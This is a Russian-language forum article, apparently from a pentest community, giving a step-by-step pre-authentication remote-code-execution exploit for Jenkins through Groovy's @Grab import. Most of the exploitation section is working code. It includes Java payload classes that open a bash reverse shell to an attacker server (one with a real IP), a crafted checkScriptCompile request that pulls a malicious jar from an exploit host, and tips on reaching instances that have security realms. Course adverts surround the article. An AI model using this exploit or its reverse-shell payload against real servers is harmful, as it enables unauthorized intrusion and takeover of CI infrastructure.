• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья RCE в Jenkins

Всем Салам. Очень давно не писал, но недавно во время пентеста столкнулся с одной интересной уязвимостью, которую пофиксили только в этом месяце и очень многие компании, которые используют данный продукт уязвимы к RCE (удаленному выполнению кода).

Говорим мы про, всем известный, Jenkins. Нашел эту уязвимость СTFер и багхантер - и поэтому технические моменты, и анализировать код мы не будем, если интересен детальный разбор кода, то уже можете ознакомиться у него на блоге.

Немного теории.

Вся проблема из-за того что у Groovy, есть дополнительная вспомогательная функция Grab, помогающая программистам импортировать библиотеки, которых нет в classPath. Из-за этого у нас получается скомпилить свою небольшую библиотеку указать Grab путь к нему,
а внутри библиотеки уже наш реверс шел, который выполняется на сервере жертвы при импорте. Перейдем к формированию нашей библиотеки.

Эксплуатация.

Нужные файлы есть на r0hack/Jenkins-PreAuth-RCE-PoC

[1] Скачиваем все к себе.
[2] Редактируем файл в /code/Payload.java по желанию, имеется ввиду, можно использовать бэкконнект на любом языке, но я рекомендую bash, так как он со 100% выполниться.

Например:
Java:
public class Payload {
  public Payload() {
    try {
      String payload = "bash -i >& /dev/tcp/8.8.8.8/12345 0>&1";
      String[] cmds = { "/bin/bash", "-c", payload };
      java.lang.Runtime.getRuntime().exec(cmds);
    } catch (Exception e) {
    }
  }
}

[3] Запускаем ./build.sh

26597


[4] Загружаем то что в папке www к себе на сервер, чтобы доступны были извне для импорта.
[5] Берем пайлоад, и меняем нужные параметры на свои. TARGET HOST - это хост с Jenkins, EXPLOIT HOST - это хост с нашим jar сплоитом.

Код:
http://<TARGET HOST>/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='codeby', module='payload', version='1')%0a
import Payload;

Все сделано, остается запустить наш пайлоад и слушать порт, который указан у нас в сплоите и нужно хосте, который тоже указали в эксплоите.
В моем случае эксплоит выглядит следующим образом:

Java:
public class Payload {
  public Payload() {
    try {
      String payload = "bash -i >& /dev/tcp/91.201.25.120/12345 0>&1";
      String[] cmds = { "/bin/bash", "-c", payload };
      java.lang.Runtime.getRuntime().exec(cmds);
    } catch (Exception e) {
    }
  }
}

91.201.25.120 - IP моего сервера
12345 - порт, который я собираюсь слушать на моем сервере.

Для удобства запускаю пайлод в бурпе и не забываем слушать порт у себя на сервере

26599


И на сервере успешно открылся bash shell:

26603


И не сказал самого главного, и все это можно выполнять без авторизации на Jenkins, но не везде, у некоторых просто отсутствует securityRealm, не знаю с чем это связано.
А там где есть, мы можем просматривать пользователей и чуть видоизменить пайлоад, т.е. перед /descriptorByName/ прописать /securityRealm/user/UserName/...

26602



Данная уязвимость пофикшена в версии 2.150.2 и выше

На этом у меня все. Всем удачи).
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!